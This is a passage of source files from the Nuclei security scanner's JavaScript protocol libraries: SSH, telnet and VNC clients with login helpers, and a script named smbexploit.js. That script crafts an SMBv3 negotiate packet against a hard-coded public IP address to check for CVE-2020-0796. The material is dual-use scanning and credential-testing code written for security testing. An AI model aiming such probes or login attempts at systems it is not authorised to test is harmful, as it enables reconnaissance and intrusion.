```javascript\n// const ssh = require('nuclei/ssh');\n// const client = new ssh.SSHClient();\n// const privateKey = `-----BEGIN RSA PRIVATE KEY----- ...`;\n// const connected = client.ConnectWithKey('acme.com', 22, 'username', privateKey);\n// ```\nfunc (c *SSHClient) ConnectWithKey(ctx context.Context, host string, port int, username, key string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tconn, err := connect(&connectOptions{\n\t\tHost:        host,\n\t\tPort:        port,\n\t\tUser:        username,\n\t\tPrivateKey:  key,\n\t\tExecutionId: executionId,\n\t})\n\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tc.connection = conn\n\n\treturn true, nil\n}\n\n// ConnectSSHInfoMode tries to connect to provided host and port\n// with provided host and port\n// Returns HandshakeLog and error. If error is not nil,\n// state will be false\n// HandshakeLog is a struct that contains information about the\n// ssh connection\n// @example\n// ```javascript\n// const ssh = require('nuclei/ssh');\n// const client = new ssh.SSHClient();\n// const info = client.ConnectSSHInfoMode('acme.com', 22);\n// log(to_json(info));\n// ```\nfunc (c *SSHClient) ConnectSSHInfoMode(ctx context.Context, host string, port int) (*ssh.HandshakeLog, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnectSSHInfoMode(&connectOptions{\n\t\tHost:        host,\n\t\tPort:        port,\n\t\tExecutionId: executionId,\n\t})\n}\n\n// Run tries to open a new SSH session, then tries to execute\n// the provided command in said session\n// Returns string and error. If error is not nil,\n// state will be false\n// The string contains the command output\n// @example\n// ```javascript\n// const ssh = require('nuclei/ssh');\n// const client = new ssh.SSHClient();\n// client.Connect('acme.com', 22, 'username', 'password');\n// const output = client.Run('id');\n// log(output);\n// ```\nfunc (c *SSHClient) Run(cmd string) (string, error) {\n\tif c.connection == nil {\n\t\treturn \"\", errkit.New(\"no connection\")\n\t}\n\tsession, err := c.connection.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer func() {\n\t\t_ = session.Close()\n\t}()\n\n\tdata, err := session.Output(cmd)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(data), nil\n}\n\n// Close closes the SSH connection and destroys the client\n// Returns the success state and error. If error is not nil,\n// state will be false\n// @example\n// ```javascript\n// const ssh = require('nuclei/ssh');\n// const client = new ssh.SSHClient();\n// client.Connect('acme.com', 22, 'username', 'password');\n// const closed = client.Close();\n// ```\nfunc (c *SSHClient) Close() (bool, error) {\n\tif err := c.connection.Close(); err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n\n// unexported functions\ntype connectOptions struct {\n\tHost        string\n\tPort        int\n\tUser        string\n\tPassword    string\n\tPrivateKey  string\n\tTimeout     time.Duration // default 10s\n\tExecutionId string\n}\n\nfunc (c *connectOptions) validate() error {\n\tif c.Host == \"\" {\n\t\treturn errkit.New(\"host is required\")\n\t}\n\tif c.Port <= 0 {\n\t\treturn errkit.New(\"port is required\")\n\t}\n\tif !protocolstate.IsHostAllowed(c.ExecutionId, c.Host) {\n\t\t// host is not valid according to network policy\n\t\treturn protocolstate.ErrHostDenied.Msgf(c.Host)\n\t}\n\tif c.Timeout == 0 {\n\t\tc.Timeout = 10 * time.Second\n\t}\n\treturn nil\n}\n\n// @memo\nfunc connectSSHInfoMode(opts *connectOptions) (*ssh.HandshakeLog, error) {\n\tif err := opts.validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata := new(ssh.HandshakeLog)\n\n\tsshConfig := ssh.MakeSSHConfig()\n\tsshConfig.Timeout = 10 * time.Second\n\tsshConfig.ConnLog = data\n\tsshConfig.DontAuthenticate = true\n\tsshConfig.BannerCallback = func(banner string) error {\n\t\tdata.Banner = strings.TrimSpace(banner)\n\t\treturn nil\n\t}\n\trhost := fmt.Sprintf(\"%s:%d\", opts.Host, opts.Port)\n\tclient, err := ssh.Dial(\"tcp\", rhost, sshConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\treturn data, nil\n}\n\nfunc connect(opts *connectOptions) (*ssh.Client, error) {\n\tif err := opts.validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tconf := &ssh.ClientConfig{\n\t\tUser:    opts.User,\n\t\tAuth:    []ssh.AuthMethod{},\n\t\tTimeout: opts.Timeout,\n\t}\n\n\tif len(opts.Password) > 0 {\n\t\tconf.Auth = append(conf.Auth, ssh.Password(opts.Password))\n\n\t\tcb := func(user, instruction string, questions []string, echos []bool) (answers []string, err error) {\n\t\t\tanswers = make([]string, len(questions))\n\t\t\tfilledCount := 0\n\t\t\tfor i, question := range questions {\n\t\t\t\tchallenge := map[string]any{\"user\": user, \"instruction\": instruction, \"question\": question, \"echo\": echos[i]}\n\t\t\t\tgologger.Debug().Msgf(\"SSH keyboard-interactive question %d/%d: %s\", i+1, len(questions), vardump.DumpVariables(challenge))\n\t\t\t\tif !echos[i] && passwordQuestionPattern.MatchString(question) {\n\t\t\t\t\tanswers[i] = opts.Password\n\t\t\t\t\tfilledCount++\n\t\t\t\t} else if echos[i] && usernameQuestionPattern.MatchString(question) {\n\t\t\t\t\tanswers[i] = opts.User\n\t\t\t\t\tfilledCount++\n\t\t\t\t}\n\t\t\t}\n\t\t\tgologger.Debug().Msgf(\"SSH keyboard-interactive: %d/%d questions filled\", filledCount, len(questions))\n\t\t\treturn answers, nil\n\t\t}\n\t\tconf.Auth = append(conf.Auth, ssh.KeyboardInteractiveChallenge(cb))\n\t}\n\n\tif len(opts.PrivateKey) > 0 {\n\t\tsigner, err := ssh.ParsePrivateKey([]byte(opts.PrivateKey))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tconf.Auth = append(conf.Auth, ssh.PublicKeys(signer))\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", opts.Host, opts.Port), conf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/structs/smbexploit.js",
    "content": "const header = bytes.Buffer();\n\n// Create the SMB header first\nheader.append(structs.pack(\"B\", 254));  // magic\nheader.append(\"SMB\");\nheader.append(structs.pack(\"H\", 64)); // header size\nheader.append(structs.pack(\"H\", 0)); // credit charge\nheader.append(structs.pack(\"H\", 0)); // channel sequence \nheader.append(structs.pack(\"H\", 0)); // reserved \nheader.append(structs.pack(\"H\", 0)); // negotiate protocol command \nheader.append(structs.pack(\"H\", 31)); // credits requested\nheader.append(structs.pack(\"I\", 0)); // flags\nheader.append(structs.pack(\"I\", 0)); // chain offset\nheader.append(structs.pack(\"Q\", 0)); // message id\nheader.append(structs.pack(\"I\", 0)); // process id\nheader.append(structs.pack(\"I\", 0)); // tree id\nheader.append(structs.pack(\"Q\", 0)); // session id\nheader.append(structs.pack(\"QQ\", [0, 0]));\t// signature\n\n// Create negotiation packet\nconst negotiation = bytes.Buffer();\nnegotiation.append(structs.pack(\"H\", 0x24)); // struct size\nnegotiation.append(structs.pack(\"H\", 8)); // amount of dialects\nnegotiation.append(structs.pack(\"H\", 1)); // enable signing\nnegotiation.append(structs.pack(\"H\", 0)); // reserved\nnegotiation.append(structs.pack(\"I\", 0x7f)); // capabilities\nnegotiation.append(structs.pack(\"QQ\", [0, 0])); // client guid\nnegotiation.append(structs.pack(\"I\", 0x78)); // negotiation offset\nnegotiation.append(structs.pack(\"H\", 2)); // negotiation context count\nnegotiation.append(structs.pack(\"H\", 0)); // reserved\nnegotiation.append(structs.pack(\"H\", 0x0202)); // smb 2.0.2 dialect\nnegotiation.append(structs.pack(\"H\", 0x0210)); // smb 2.1.0 dialect\nnegotiation.append(structs.pack(\"H\", 0x0222)); // smb 2.2.2 dialect\nnegotiation.append(structs.pack(\"H\", 0x0224)); // smb 2.2.4 dialect\nnegotiation.append(structs.pack(\"H\", 0x0300)); // smb 3.0.0 dialect\nnegotiation.append(structs.pack(\"H\", 0x0302)); // smb 3.0.2 dialect\nnegotiation.append(structs.pack(\"H\", 0x0310)); // smb 3.1.0 dialect\nnegotiation.append(structs.pack(\"H\", 0x0311)); // smb 3.1.1 dialect\nnegotiation.append(structs.pack(\"I\", 0)); // padding\nnegotiation.append(structs.pack(\"H\", 1)); // negotiation context type\nnegotiation.append(structs.pack(\"H\", 38)); // negotiation data length\nnegotiation.append(structs.pack(\"I\", 0)); // reserved\nnegotiation.append(structs.pack(\"H\", 1)); // negotiation hash algorithm count\nnegotiation.append(structs.pack(\"H\", 32)); // negotiation salt length\nnegotiation.append(structs.pack(\"H\", 1)); // negotiation hash algorithm SHA512\nnegotiation.append(structs.pack(\"H\", 1)); // negotiation hash algorithm SHA512\nnegotiation.append(structs.pack(\"QQ\", [0, 0])); // salt part 1\nnegotiation.append(structs.pack(\"QQ\", [0, 0])); // salt part 2\nnegotiation.append(structs.pack(\"H\", 3)); // unknown??\nnegotiation.append(structs.pack(\"H\", 10)); // data length unknown??\nnegotiation.append(structs.pack(\"I\", 0)); // reserved unknown??\nnegotiation.append(\"\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"); // unknown\n\nconst packet = bytes.Buffer();\npacket.append(header.bytes());\npacket.append(negotiation.bytes());\n\nconst netbios = bytes.Buffer();\nnetbios.append(structs.pack(\"H\", 0)); // NetBIOS sessions message (should be 1 byte but whatever)\nnetbios.append(structs.pack(\"B\", 0)); // just a pad to make it 3 bytes\nnetbios.append(structs.pack(\"B\", packet.len())); // NetBIOS length (should be 3 bytes but whatever, as long as the packet isn't 0xff+ bytes)\n\nconst final = bytes.Buffer();\nfinal.append(netbios.bytes());\nfinal.append(packet.bytes());\n\nconsole.log(\"Netbios\", netbios.hex(), netbios.len());\nconsole.log(\"Header\", header.hex(), header.len());\nconsole.log(\"Negotiation\", negotiation.hex(), negotiation.len());\nconsole.log(\"Packet\", final.hex(), final.len());\n\nconst c = require(\"nuclei/libnet\");\nlet conn = c.Open(\"tcp\", \"118.68.186.114:445\");\nconn.Send(final.bytes(), 0);\nlet bytesRecv = conn.Recv(0, 4);\nconsole.log(\"recv Bytes\", bytesRecv);\nlet size = structs.unpack(\"I\", bytesRecv)[0];\nconsole.log(\"Size\", size);\nlet data = conn.Recv(0, size);\nconsole.log(\"Data\", data);\n\n// TODO: Add hexdump helpers\n\nversion = structs.unpack(\"H\", data.slice(68,70))[0]\ncontext = structs.unpack(\"H\", data.slice(70,72))[0]\n\nconsole.log(\"Version\", version);\nconsole.log(\"Context\", context);\n\nif (version != 0x0311){\n\tconsole.log(\"SMB version \", version, \"was found which is not vulnerable!\");\n} else if (context != 2) {\n\tconsole.log(\"Server answered with context\", context, \" which indicates that the target may not have SMB compression enabled and is therefore not vulnerable!\");\n} else {\n\tconsole.log(\"SMB version \", version, \" with context \", context, \" was found which indicates SMBv3.1.1 is being used and SMB compression is enabled, therefore being vulnerable to CVE-2020-0796!\");\n}\nconn.Close();"
  },
  {
    "path": "pkg/js/libs/structs/structs.go",
    "content": "package structs\n\nimport (\n\t_ \"embed\"\n\n\t\"github.com/projectdiscovery/gostruct\"\n)\n\n// StructsUnpack the byte slice (presumably packed by Pack(format, msg)) according to the given format.\n// The result is a []interface{} slice even if it contains exactly one item.\n// The byte slice must contain not less the amount of data required by the format\n// (len(msg) must more or equal CalcSize(format)).\n// Ex: structs.Unpack(\">I\", buff[:nb])\n// @example\n// ```javascript\n// const structs = require('nuclei/structs');\n// const result = structs.Unpack('H', [0]);\n// ```\nfunc Unpack(format string, msg []byte) ([]interface{}, error) {\n\treturn gostruct.UnPack(buildFormatSliceFromStringFormat(format), msg)\n}\n\n// StructsPack returns a byte slice containing the values of msg slice packed according to the given format.\n// The items of msg slice must match the values required by the format exactly.\n// Ex: structs.pack(\"H\", 0)\n// @example\n// ```javascript\n// const structs = require('nuclei/structs');\n// const packed = structs.Pack('H', [0]);\n// ```\nfunc Pack(formatStr string, msg interface{}) ([]byte, error) {\n\tvar args []interface{}\n\tswitch v := msg.(type) {\n\tcase []interface{}:\n\t\targs = v\n\tdefault:\n\t\targs = []interface{}{v}\n\t}\n\tformat := buildFormatSliceFromStringFormat(formatStr)\n\n\tvar idxMsg int\n\tfor _, f := range format {\n\t\tswitch f {\n\t\tcase \"<\", \">\", \"!\":\n\t\tcase \"h\", \"H\", \"i\", \"I\", \"l\", \"L\", \"q\", \"Q\", \"b\", \"B\":\n\t\t\tswitch v := args[idxMsg].(type) {\n\t\t\tcase int64:\n\t\t\t\targs[idxMsg] = int(v)\n\t\t\t}\n\t\t\tidxMsg++\n\t\t}\n\t}\n\treturn gostruct.Pack(format, args)\n}\n\n// StructsCalcSize returns the number of bytes needed to pack the values according to the given format.\n// Ex: structs.CalcSize(\"H\")\n// @example\n// ```javascript\n// const structs = require('nuclei/structs');\n// const size = structs.CalcSize('H');\n// ```\nfunc StructsCalcSize(format string) (int, error) {\n\treturn gostruct.CalcSize(buildFormatSliceFromStringFormat(format))\n}\n\nfunc buildFormatSliceFromStringFormat(format string) []string {\n\tvar formats []string\n\ttemp := \"\"\n\n\tfor _, c := range format {\n\t\tif c >= '0' && c <= '9' {\n\t\t\ttemp += string(c)\n\t\t} else {\n\t\t\tif temp != \"\" {\n\t\t\t\tformats = append(formats, temp+string(c))\n\t\t\t\ttemp = \"\"\n\t\t\t} else {\n\t\t\t\tformats = append(formats, string(c))\n\t\t\t}\n\t\t}\n\t}\n\tif temp != \"\" {\n\t\tformats = append(formats, temp)\n\t}\n\treturn formats\n}\n"
  },
  {
    "path": "pkg/js/libs/telnet/memo.telnet.go",
    "content": "// Warning - This is generated code\npackage telnet\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisTelnet(executionId string, host string, port int) (IsTelnetResponse, error) {\n\thash := \"isTelnet\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isTelnet(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn IsTelnetResponse{}, err\n\t}\n\tif value, ok := v.(IsTelnetResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn IsTelnetResponse{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/telnet/telnet.go",
    "content": "package telnet\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/telnet\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/telnetmini\"\n)\n\n// Telnet protocol constants\nconst (\n\tIAC               = 255 // Interpret As Command\n\tWILL              = 251 // Will\n\tWONT              = 252 // Won't\n\tDO                = 253 // Do\n\tDONT              = 254 // Don't\n\tSB                = 250 // Subnegotiation Begin\n\tSE                = 240 // Subnegotiation End\n\tECHO              = 1   // Echo\n\tSUPPRESS_GO_AHEAD = 3   // Suppress Go Ahead\n\tTERMINAL_TYPE     = 24  // Terminal Type\n\tNAWS              = 31  // Negotiate About Window Size\n\tENCRYPT           = 38  // Encryption option (0x26)\n)\n\ntype (\n\t// IsTelnetResponse is the response from the IsTelnet function.\n\t// this is returned by IsTelnet function.\n\t// @example\n\t// ```javascript\n\t// const telnet = require('nuclei/telnet');\n\t// const isTelnet = telnet.IsTelnet('acme.com', 23);\n\t// log(toJSON(isTelnet));\n\t// ```\n\tIsTelnetResponse struct {\n\t\tIsTelnet bool\n\t\tBanner   string\n\t}\n\n\t// TelnetInfoResponse is the response from the Info function.\n\t// @example\n\t// ```javascript\n\t// const telnet = require('nuclei/telnet');\n\t// const client = new telnet.TelnetClient();\n\t// const info = client.Info('acme.com', 23);\n\t// log(toJSON(info));\n\t// ```\n\tTelnetInfoResponse struct {\n\t\tSupportsEncryption bool\n\t\tBanner             string\n\t\tOptions            map[int][]int\n\t}\n\n\t// TelnetClient is a client for Telnet servers.\n\t// @example\n\t// ```javascript\n\t// const telnet = require('nuclei/telnet');\n\t// const client = new telnet.TelnetClient();\n\t// ```\n\tTelnetClient struct{}\n)\n\n// IsTelnet checks if a host is running a Telnet server.\n// @example\n// ```javascript\n// const telnet = require('nuclei/telnet');\n// const isTelnet = telnet.IsTelnet('acme.com', 23);\n// log(toJSON(isTelnet));\n// ```\nfunc IsTelnet(ctx context.Context, host string, port int) (IsTelnetResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisTelnet(executionId, host, port)\n}\n\n// @memo\nfunc isTelnet(executionId string, host string, port int) (IsTelnetResponse, error) {\n\tresp := IsTelnetResponse{}\n\n\ttimeout := 5 * time.Second\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn IsTelnetResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\ttelnetPlugin := telnet.TELNETPlugin{}\n\tservice, err := telnetPlugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif service == nil {\n\t\treturn resp, nil\n\t}\n\tresp.Banner = service.Metadata().(plugins.ServiceTelnet).ServerData\n\tresp.IsTelnet = true\n\treturn resp, nil\n}\n\n// Connect tries to connect to provided host and port with telnet.\n// Optionally provides username and password for authentication.\n// Returns state of connection. If the connection is successful,\n// the function will return true, otherwise false.\n// @example\n// ```javascript\n// const telnet = require('nuclei/telnet');\n// const client = new telnet.TelnetClient();\n// const connected = client.Connect('acme.com', 23, 'username', 'password');\n// ```\nfunc (c *TelnetClient) Connect(ctx context.Context, host string, port int, username string, password string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\t// Create TCP connection\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// Create telnet client using the telnetmini library\n\tclient := telnetmini.New(conn)\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t// Handle authentication if credentials provided\n\tif username != \"\" && password != \"\" {\n\t\t// Set a timeout context for authentication\n\t\tauthCtx, cancel := context.WithTimeout(ctx, 10*time.Second)\n\t\tdefer cancel()\n\n\t\tif err := client.Auth(authCtx, username, password); err != nil {\n\t\t\treturn false, err\n\t\t}\n\t}\n\n\treturn true, nil\n}\n\n// Info gathers information about the telnet server including encryption support.\n// Uses the telnetmini library's DetectEncryption helper function.\n// WARNING: The connection used for detection becomes unusable after this call.\n// @example\n// ```javascript\n// const telnet = require('nuclei/telnet');\n// const client = new telnet.TelnetClient();\n// const info = client.Info('acme.com', 23);\n// log(toJSON(info));\n// ```\nfunc (c *TelnetClient) Info(ctx context.Context, host string, port int) (TelnetInfoResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\treturn TelnetInfoResponse{}, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\t// Create TCP connection for encryption detection\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn TelnetInfoResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn TelnetInfoResponse{}, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\t// Use the telnetmini library's DetectEncryption helper function\n\t// Note: The connection becomes unusable after this call\n\tencryptionInfo, err := telnetmini.DetectEncryption(conn, 7*time.Second)\n\tif err != nil {\n\t\treturn TelnetInfoResponse{}, err\n\t}\n\n\treturn TelnetInfoResponse{\n\t\tSupportsEncryption: encryptionInfo.SupportsEncryption,\n\t\tBanner:             encryptionInfo.Banner,\n\t\tOptions:            encryptionInfo.Options,\n\t}, nil\n}\n\n// GetTelnetNTLMInfo implements the Nmap telnet-ntlm-info.nse script functionality.\n// This function uses the telnetmini library and SMB packet crafting functions to send\n// MS-TNAP NTLM authentication requests with null credentials. It might work only on\n// Microsoft Telnet servers.\n// @example\n// ```javascript\n// const telnet = require('nuclei/telnet');\n// const client = new telnet.TelnetClient();\n// const ntlmInfo = client.GetTelnetNTLMInfo('acme.com', 23);\n// log(toJSON(ntlmInfo));\n// ```\nfunc (c *TelnetClient) GetTelnetNTLMInfo(ctx context.Context, host string, port int) (*telnetmini.NTLMInfoResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\t// Create TCP connection\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\t// Create telnet client using the telnetmini library\n\tclient := telnetmini.New(conn)\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t// Set timeout\n\t_ = conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n\t// Use the MS-TNAP packet crafting functions from our telnetmini library\n\t// Create MS-TNAP Login Packet (Option Command IS) as per Nmap script\n\ttnapLoginPacket := telnetmini.CreateTNAPLoginPacket()\n\n\t// Send the MS-TNAP login packet\n\t_, err = conn.Write(tnapLoginPacket)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to send MS-TNAP login packet: %w\", err)\n\t}\n\n\t// Read response data\n\tbuffer := make([]byte, 4096)\n\tn, err := conn.Read(buffer)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read response: %w\", err)\n\t}\n\n\tif n == 0 {\n\t\treturn nil, fmt.Errorf(\"no response received\")\n\t}\n\n\t// Parse NTLM response using our telnetmini library functions\n\tresponse := buffer[:n]\n\n\t// Use the parsing functions from our library instead of reimplementing\n\t// This should use the NTLM parsing functions we added to telnetmini\n\tntlmInfo, err := telnetmini.ParseNTLMResponse(response)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse NTLM response: %w\", err)\n\t}\n\n\treturn ntlmInfo, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/vnc/memo.vnc.go",
    "content": "// Warning - This is generated code\npackage vnc\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisVNC(executionId string, host string, port int) (IsVNCResponse, error) {\n\thash := \"isVNC\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isVNC(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn IsVNCResponse{}, err\n\t}\n\tif value, ok := v.(IsVNCResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn IsVNCResponse{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/vnc/vnc.go",
    "content": "package vnc\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\tvnclib \"github.com/alexsnet/go-vnc\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\tvncplugin \"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/vnc\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\ntype (\n\t// IsVNCResponse is the response from the IsVNC function.\n\t// @example\n\t// ```javascript\n\t// const vnc = require('nuclei/vnc');\n\t// const isVNC = vnc.IsVNC('acme.com', 5900);\n\t// log(toJSON(isVNC));\n\t// ```\n\tIsVNCResponse struct {\n\t\tIsVNC  bool\n\t\tBanner string\n\t}\n\n\t// VNCClient is a client for VNC servers.\n\t// @example\n\t// ```javascript\n\t// const vnc = require('nuclei/vnc');\n\t// const client = new vnc.VNCClient();\n\t// const connected = client.Connect('acme.com', 5900, 'password');\n\t// log(toJSON(connected));\n\t// ```\n\tVNCClient struct{}\n)\n\n// Connect connects to VNC server using given password.\n// If connection and authentication is successful, it returns true.\n// If connection or authentication is unsuccessful, it returns false and error.\n// The connection is closed after the function returns.\n// @example\n// ```javascript\n// const vnc = require('nuclei/vnc');\n// const client = new vnc.VNCClient();\n// const connected = client.Connect('acme.com', 5900, 'password');\n// ```\nfunc (c *VNCClient) Connect(ctx context.Context, host string, port int, password string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn connect(executionId, host, port, password)\n}\n\n// connect attempts to authenticate with a VNC server using the given password\nfunc connect(executionId string, host string, port int, password string) (bool, error) {\n\tif host == \"\" || port <= 0 {\n\t\treturn false, fmt.Errorf(\"invalid host or port\")\n\t}\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\t// Set connection timeout\n\t_ = conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n\t// Create VNC client config with password\n\tvncConfig := vnclib.NewClientConfig(password)\n\n\t// Attempt to connect and authenticate\n\tc, err := vnclib.Connect(context.TODO(), conn, vncConfig)\n\tif err != nil {\n\t\t// Check for specific authentication errors\n\t\tif isAuthError(err) {\n\t\t\treturn false, nil // Authentication failed, but connection succeeded\n\t\t}\n\t\treturn false, err // Connection or other error\n\t}\n\tif c != nil {\n\t\t_ = c.Close()\n\t}\n\n\treturn true, nil\n}\n\n// isAuthError checks if the error is an authentication failure\nfunc isAuthError(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\t// Check for common VNC authentication error messages\n\terrStr := err.Error()\n\treturn stringsutil.ContainsAnyI(errStr, \"authentication\", \"auth\", \"password\", \"invalid\", \"failed\")\n}\n\n// IsVNC checks if a host is running a VNC server.\n// It returns a boolean indicating if the host is running a VNC server\n// and the banner of the VNC server.\n// @example\n// ```javascript\n// const vnc = require('nuclei/vnc');\n// const isVNC = vnc.IsVNC('acme.com', 5900);\n// log(toJSON(isVNC));\n// ```\nfunc IsVNC(ctx context.Context, host string, port int) (IsVNCResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisVNC(executionId, host, port)\n}\n\n// @memo\nfunc isVNC(executionId string, host string, port int) (IsVNCResponse, error) {\n\tresp := IsVNCResponse{}\n\n\ttimeout := 5 * time.Second\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn IsVNCResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tvncPlugin := vncplugin.VNCPlugin{}\n\tservice, err := vncPlugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif service == nil {\n\t\treturn resp, nil\n\t}\n\tresp.Banner = service.Version\n\tresp.IsVNC = true\n\treturn resp, nil\n}\n"
  },
  {
    "path": "pkg/js/utils/nucleijs.go",
